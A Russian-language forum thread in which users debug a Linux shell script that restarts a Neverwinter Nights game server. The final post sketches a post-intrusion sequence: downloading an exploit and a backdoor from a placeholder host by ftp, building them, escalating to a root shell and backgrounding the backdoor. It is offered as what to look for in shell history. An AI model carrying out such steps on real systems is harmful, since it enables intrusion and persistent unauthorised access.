Помощь - Поиск - Пользователи - Календарь
Полная версия: Скрипт автоподнятия НВН сервера
Город Мастеров > ГИЛЬДИЯ МАСТЕРОВ > Главный Зал
Richard
Собственно, вот сам скрипт.

CODE

#!/bin/sh
LOGFILE=$HOME/nwnrun.log
while :; do

cd /games/nwn/arena
rm *.core

./arena.sh

date >> $LOGFILE
echo "NWN ARENA NWNX2 started" >> $LOGFILE

sleep 15

done &



Затем, создаешь файл arena.sh в котором прописываешь строчку автоподнятия сервера. Интересно только есть ли разница если сервер работает в screen?

Вобщем, переработал я скрипт вроде как и вот что получилось:


CODE

#!/bin/sh
LOGFILE=$HOME/nwnrun.log
while :; do

/usr/compat/linux/usr/games/nwn/arena
rm *.core

./arena.sh

date >> $LOGFILE
echo "NWN ARENA NWNX2 started" >> $LOGFILE

sleep 15

done &




В файле arena.sh прописал команду поднятия...

Залил все это на фтп... обозвал файл со скриптом server.txt и сделал его исполняемым командой chmod a+x server.txt

Вроде все правильно, но скрипт не работает...
Подскажите пожалуйста в чем ошибка? dntknw.gif


Добавлено в [mergetime]1115360297[/mergetime]
Но с другой стороны, я почему то думал что скрипт автозапуска, это скрипт проверяющий наличие процесса сервера, и в случае его отсутсвия запускающий его снова. Нельзя ли откомментить строки скрипта? Я вижу что он протоколирует в лог файл дату и строчку "NWN ARENA NWNX2 started" , и в процессе работы запустит скрипт arena.sh, перед этим удалив файлы *.core (для чего?). Но вот при каком условии тело цикла запустится я так и не понял.

while :; do
Между while и do должно быть условие, а :; это что?
slavaz
CODE

#!/bin/sh
LOGFILE=$HOME/nwnrun.log
# бесконечный цикл
while [ true ]; do
# запуск файла arena с полным путём (этот файл у тебя именно там?)
/usr/compat/linux/usr/games/nwn/arena
# если вдруг произошёл выход из arena, то удаляем файл отладки (coredump)
rm *.core
# в ТЕКУЩЕМ каталоге пытаемся запустить скрипт arena.sh
./arena.sh
# запись в лог
date >> $LOGFILE
echo "NWN ARENA NWNX2 started" >> $LOGFILE
# 15 секунд скрипт отдыхает
sleep 15
# конец цикла (с уходом в бэкграунд)
done &


Что в файле arena.sh? Есть ли он в том же каталоге, откуда запускается приведённый скрипт?
/usr/compat/linux/usr/games/nwn/arena - по этому пути у тебя существует?
Richard
Да, он в том же каталоге. в Арене ведь должна быть прописана команда запуска сервака?
slavaz
Я вообще-то NWN-сервак под Линуксом не пускал. Но примерно по имеющимся данным попробую написать скрипт запуска:

CODE
#!/bin/sh

LOGFILE=/var/log/nwnrun.log
(
NWN_EXE=/usr/compat/linux/usr/games/nwn/arena
echo `date`": Script started"
cd `dirname $NWN_EXE`
while [ true ]; do
$NWN_EXE
echo `date`": Ops!.. NWN-server crashed. Restart"
rm -f *.core
done
) >>$LOGFILE 2>&1 &


ВНИМАНИЕ! Под Windows нельзя создавать скрипты для Linux! Либо можно редакторами, которые не добавляют <LF> в конец строки

В скрипте две переменные, которые надо изменить:
LOGFILE - путь к лог-файлу
NWN_EXE - путь к исполняемому файлу сервера NWN

Если что не так - сразу пиши (по возможности с описанием ошибок), будем разбираться...
Richard
То есть, как я понял, этот скрипт не нуждается в команде запуска ?
Просто этот скрипт кидаешь и делаешь исполняемым и он работает?
slavaz
QUOTE (Richard @ May 6 2005, 15:45)
Просто этот скрипт кидаешь и делаешь исполняемым и он работает?

Просто этот скрипт кидаешь, делаешь исполняемым и запускаешь и он работает.
smile.gif
Richard
А arena.sh удалить вообще?
Richard
Закинул скрипт... Ничего не исправлял, так как не смыслю в этом ничерта... Соответственно скрипт, написанный тобой не работает...
slavaz
Будущим поколениям nwn-линуксоидов на заметку :-)

В результате продолжительных переговоров и в чём-то кровопролитных (для сервера) попыток был устаканен скрипт для запуска nwn-сервера под Линуксом.
Вначале требования:
1) В скрипте обязательно указать путь к nwn-серверу и путь, где скрипт будет вести свой лог-файл.
2) ни к в коем случае не набирать (копировать) скрипт под Windows - эта ОС большая любительница добавить в конец строки <LF>, который *NIX системами переваривается как обычный символ (соответственно, не находит Ваш любимый nwn-сервер с <LF> в конце имени).

Ну и сам скрипт nwn_server.run:
CODE
#!/bin/sh

LOGFILE=~/nwn_server_run.log
(
   NWN_DIR=/path/to/nwn
   NWN_EXE="screen -A -m -d -S nwn ./nwserver -module MODULE_NAME"
   cd $NWN_DIR
   echo `date`": Script started"
       $NWN_EXE
   while [ true ]; do
       sleep 5
       is_server_run=`ps aux | grep -v grep | grep -c nwserver`
       if [ $is_server_run -eq 0 ]; then
           echo `date`": Ops!.. NWN-server crashed. Restart"
           rm -f *.core
           $NWN_EXE
       fi
   done
) >>$LOGFILE 2>&1 &

выполнить скрипт:
CODE
chmod a+x nwn_server.run
./nwn_server.run

либо обе команды с полным путём
CODE
chmod a+x /path/to/nwn_server.run
/path/to/nwn_server.run
Richard
Удалите лучше тему, ибо в скрипте присутствуют некотрые данные которые не должны подлежать разглашению.
slavaz
QUOTE (Richard @ May 16 2005, 10:20)
Удалите лучше тему, ибо в скрипте присутствуют некотрые данные которые не должны подлежать разглашению.

Кроме пути (думаю, стандартного для NWN) и названия модуля ничего сверхсекретного в скрипте не содержится wink.gif
Но если настаиваешь - я поменял скрипт надлежащим образом...
Richard
Дело не в этом... А в элементарной команде запуска НВН сервака... Не все ведь в скрине работают, а если кому то удасться взломать пасс на ssh, то они будут уже знать что делать, чтобы запоганить сервер.
slavaz
QUOTE (Richard @ May 18 2005, 09:44)
Дело не в этом... А в элементарной команде запуска НВН сервака... Не все ведь в скрине работают, а если кому то удасться взломать пасс на ssh, то они будут уже знать что делать, чтобы запоганить сервер.


Поверь, тех, кто взломает пароль на ssh, меньше всего будет интересовать твой nwn-сервер... yes.gif
после взлома пароля стандартные процедуры:
CODE

$ ftp ftp://bla.bla/exploit.tgz
$ tar xzvf exploit.tgz
$ cd exploit
$ make
$ ./exploit "/bin/sh"
# ftp ftp://bla.bla/backdoor.tgz
# tar xzvf backdoor.tgz
# cd backdoor
# make
# nohup ./backdoor >/dev/null 2>&1 &


Примерно такое ищи в истории команд шелла. Хотя, если чел толковый, то ни логи, ни история команд не поможет... wink.gif
Это текстовая версия — только основной контент. Для просмотра полной версии этой страницы, пожалуйста, нажмите сюда.
Invision Power Board © 2001-2025 Invision Power Services, Inc.